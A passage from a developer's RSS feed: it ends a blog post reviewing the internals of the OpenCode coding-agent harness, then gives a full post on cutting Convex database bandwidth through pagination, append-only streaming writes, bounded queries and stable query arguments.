&lt;p&gt;That leaves one box in the architecture diagram unexplained: the 38 language servers. These are the same LSP servers your editor runs, things like typescript-language-server and rust-analyzer, except here the opencode server detects which ones your project needs, installs them, and runs them itself. &lt;code&gt;lsp/server.ts&lt;/code&gt; is 1,983 lines doing exactly that. They exist to check the agent's work during the edit tool: right after &lt;code&gt;tool/edit.ts&lt;/code&gt; applies an edit, it calls &lt;code&gt;lsp.touchFile()&lt;/code&gt; and &lt;code&gt;lsp.diagnostics()&lt;/code&gt; and folds any errors into the tool result, so the model sees what it just broke immediately instead of three steps later. And because it's your real language server rather than a syntax check, the errors it catches are the ones your build would have caught, in whatever language you happen to be writing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I actually think after the deep dive
&lt;/h2&gt;

&lt;p&gt;The rough edges first, because they're real. OpenCode has no sandbox worth the name, its own agents file admits the LLM layer is mid-migration between two runtimes, there's a &lt;code&gt;beast.txt&lt;/code&gt; in the prompts directory, and a dead 2,283-word prompt nobody got round to deleting. It reads like a codebase being changed faster than anyone has time to tidy it, which, in this space right now, is probably what shipping looks like.&lt;/p&gt;

&lt;p&gt;None of that changes what this codebase is best at, which is being learned from. Every subsystem you can only describe in the abstract from the outside turned out to be a file, and the surprise was how small each one is. The permission engine is a ten-line function over a flat list of triples. The whole context policy is seven constants. Plan mode is a config object. The thing that summarizes your conversation is an ordinary agent with every tool denied. The parts I expected to be frameworks were mostly data, and the parts I expected to be simple, like turning a shell command into a permission pattern, were where all the code went.&lt;/p&gt;

&lt;p&gt;The three big harnesses still bet differently. Claude Code believes in the tool surface and spends 29,000 words on it. Codex believes the model already knows the terminal and spends its complexity on kernel sandboxes instead. OpenCode believes the right answer depends on which model you loaded, and swaps its prompts and its tools accordingly.&lt;/p&gt;

&lt;p&gt;But there's a fourth position now, and both OpenCode and Codex are quietly building it: code mode. Collapse the tool list into one &lt;code&gt;execute&lt;/code&gt; tool and let the model write programs against the rest. The harness would still do all the same work. It would just spend far fewer words describing it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent&lt;br&gt;
harnesses and developer tools. I write up the problems that took me too long to&lt;br&gt;
work out. More at &lt;a href="https://dheerajakula.dev/blog" rel="noopener noreferrer"&gt;dheerajakula.dev/blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>agents</category>
      <category>opencode</category>
    </item>
    <item>
      <title>Why a two-user Convex chat app read tens of MB a day</title>
      <dc:creator>Dheeraj Akula</dc:creator>
      <pubDate>Sun, 16 Aug 2026 19:43:18 +0000</pubDate>
      <link>https://dev.to/dheerajakula/why-a-two-user-convex-chat-app-read-tens-of-mb-a-day-360k</link>
      <guid>https://dev.to/dheerajakula/why-a-two-user-convex-chat-app-read-tens-of-mb-a-day-360k</guid>
      <description>&lt;p&gt;I was staring at my &lt;a href="https://www.convex.dev/" rel="noopener noreferrer"&gt;Convex&lt;/a&gt; dashboard, confused. Convex is the reactive backend I use for a chat app: it stores the data and, the part that matters here, it keeps your queries &lt;em&gt;live&lt;/em&gt;, so the UI updates the instant the data changes. The dashboard has a meter called "Database Bandwidth," and for two users, me on a dev account and me on a prod account, poking the app for maybe half an hour, it was reading tens of megabytes a day.&lt;/p&gt;

&lt;p&gt;That made no sense to me. It's a chat app. The actual messages were a few hundred kilobytes, tops. Where were the megabytes coming from? I assumed I'd stored something huge by accident. I hadn't. The data really was tiny. The bandwidth was real. Both things were true at once, and the gap between them is the whole story.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one sentence that explains everything
&lt;/h2&gt;

&lt;p&gt;Here's the thing nobody put plainly for me, so let me put it plainly for you. In Convex, "Database Bandwidth" is the bytes of documents your functions read and write &lt;em&gt;per execution&lt;/em&gt;. And a &lt;strong&gt;reactive query&lt;/strong&gt; re-executes every single time any document in its result changes.&lt;/p&gt;

&lt;p&gt;Unpack "reactive query," because it's the load-bearing idea. When your React app calls &lt;code&gt;useQuery(...)&lt;/code&gt;, it isn't a one-shot fetch. It's a subscription. Convex runs the query on the server, sends you the result, and then keeps watching. The moment any document that query touched changes, Convex re-runs the whole query and pushes the fresh result to every client subscribed to it. That's what makes the UI feel live, and it's wonderful, right up until it's your bill.&lt;/p&gt;

&lt;p&gt;So bandwidth is not "the size of your data." It's:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bandwidth  =  size of the query result  ×  how many times it re-runs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That multiplier on the right is where megabytes come from. A query that returns 200 KB and re-runs 150 times because the data kept changing has moved 30 MB, even though you only ever stored 200 KB. Drag the inputs here and watch a few KB of data turn into a daily bill:&lt;/p&gt;

&lt;p&gt;Once I saw it as a multiplication, the question stopped being "what did I store" and became "which queries re-read a lot of data, a lot of times." That reframing found every problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trap 1: a plain query re-reads the whole list (pagination is the knob)
&lt;/h2&gt;

&lt;p&gt;My message list was a plain &lt;code&gt;useQuery&lt;/code&gt; that returned the conversation's messages. Every time a new message arrived, that query re-ran and re-shipped the &lt;em&gt;entire&lt;/em&gt; list. Message 50 lands, and Convex re-reads and re-sends messages 1 through 50. Message 51 lands, it re-sends 1 through 51. The cost of one new message grows with how long the conversation already is.&lt;/p&gt;

&lt;p&gt;The fix is Convex's &lt;code&gt;usePaginatedQuery&lt;/code&gt;, and it's worth understanding &lt;em&gt;why&lt;/em&gt; it works, because it's the single most useful thing I learned here. Pagination loads the list in pages, and &lt;strong&gt;each page is its own separate subscription.&lt;/strong&gt; When a new message lands at the top, only the newest page re-runs. The older pages you already loaded just sit there, untouched, costing nothing. Press the button on both modes:&lt;/p&gt;

&lt;p&gt;This reframed pagination for me completely. I'd always thought of it as a UI nicety, load more as you scroll. In Convex it's the actual mechanism for "only re-read what changed." There's no separate incremental-update knob you're missing. Pagination &lt;em&gt;is&lt;/em&gt; the knob. If a list can grow and it's reactive, paginate it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trap 2: streaming an LLM reply was secretly quadratic
&lt;/h2&gt;

&lt;p&gt;This was the sneaky one. When the model streams a reply token by token, I was saving progress by writing the accumulated text back to a document on every flush. Token 1: write "Hi". Token 2: write "Hi there". Token 3: write "Hi there friend". Each write carries the &lt;em&gt;whole&lt;/em&gt; string so far.&lt;/p&gt;

&lt;p&gt;Add that up. Writing 1 token, then 2, then 3, all the way to N, is &lt;code&gt;1 + 2 + 3 + ... + N&lt;/code&gt;, which is &lt;code&gt;N²/2&lt;/code&gt;. That's &lt;strong&gt;quadratic&lt;/strong&gt;: double the reply length and you quadruple the bytes. A reply that's a few KB of final text can write tens of KB getting there, and that's before the reactive read side re-ships it to the client on every flush too. Drag the token count and watch the two approaches split apart:&lt;/p&gt;

&lt;p&gt;The fix is to stop rewriting the whole buffer. Append only the new piece each flush (or stream the text over a separate channel and write the document once at the end). Same final message, linear instead of quadratic. The bigger lesson: anything that rewrites a growing value inside a loop is a quadratic trap waiting to happen, and reactivity multiplies the damage because every rewrite is also a re-read for every subscriber.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trap 3: &lt;code&gt;.collect()&lt;/code&gt; reads the entire table, every call
&lt;/h2&gt;

&lt;p&gt;A couple of my server functions did something like this to count or check usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;all&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;messages&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;withIndex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;by_conversation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;conversationId&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.collect()&lt;/code&gt; pulls &lt;em&gt;every&lt;/em&gt; matching row into an array. If a function like a daily-usage check or a rate-limiter runs on every single message and calls &lt;code&gt;.collect()&lt;/code&gt; over a whole conversation, it re-reads the entire conversation every time someone sends a message. That read scales with table size, on the hot path.&lt;/p&gt;

&lt;p&gt;Two fixes, depending on what you actually need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you only need the recent ones, bound the query: &lt;code&gt;.order("desc").take(25)&lt;/code&gt; reads at most 25 rows instead of all of them. Bounded and linear, not "everything, forever."&lt;/li&gt;
&lt;li&gt;If you only need a count or a sum, &lt;strong&gt;denormalize&lt;/strong&gt; it: keep a running counter on a parent document and update it on write, so you never re-read the children just to count them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rule I took away: &lt;code&gt;.collect()&lt;/code&gt; on a hot path is a smell. If it can run often, bound it or precompute it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Trap 4: an unstable argument silently re-subscribes
&lt;/h2&gt;

&lt;p&gt;This one cost me an hour because nothing looked wrong. I passed an array of ids into a query as an argument, and I built that array fresh on every render with &lt;code&gt;.map(...)&lt;/code&gt;. In JavaScript a new array is a new identity even if the contents are identical. Convex keys a subscription by its arguments, so a new argument identity looks like a brand new query: it re-subscribes and re-runs from scratch. Every render. For a query doing N lookups, that's N reads on every render, for nothing.&lt;/p&gt;

&lt;p&gt;The fix is boring and important: keep query arguments stable. Memoize the array, or better, push the work to the server so you pass a single id instead of a list the client keeps rebuilding. Stable args in, no phantom re-subscriptions.&lt;/p&gt;

&lt;h2&gt;
  
  
  One more, for free: immutable history doesn't need a subscription
&lt;/h2&gt;

&lt;p&gt;Old messages don't change. So there's no reason to keep them in a live query at all. The clean shape for a long feed is to keep only the newest page as a reactive subscription, and load older history with a one-shot fetch (&lt;code&gt;useConvex().query(...)&lt;/code&gt;) that reads it once and never watches it again. Live where things change, static where they don't.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;If a Convex bill looks insane next to how little data you actually store, don't go hunting for a giant document. Go hunting for the multiplier. Bandwidth is result size times re-reads, so the wins are all about shrinking one of those two numbers: paginate growing lists so only the newest page re-runs, never rewrite a growing value in a loop, bound or denormalize anything that would otherwise &lt;code&gt;.collect()&lt;/code&gt; a whole table, keep query arguments stable, and don't subscribe to data that can't change. None of it is exotic. It's just the same question asked five ways: is this query re-reading more than it has to, more often than it has to?&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent&lt;br&gt;
harnesses and developer tools. I write up the problems that took me too long to&lt;br&gt;
work out. More at &lt;a href="https://dheerajakula.dev/blog" rel="noopener noreferrer"&gt;dheerajakula.dev/blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>convex</category>
      <category>performance</category>
      <category>database</category>
      <category>react</category>
    </item>
  </channel>
</rss>
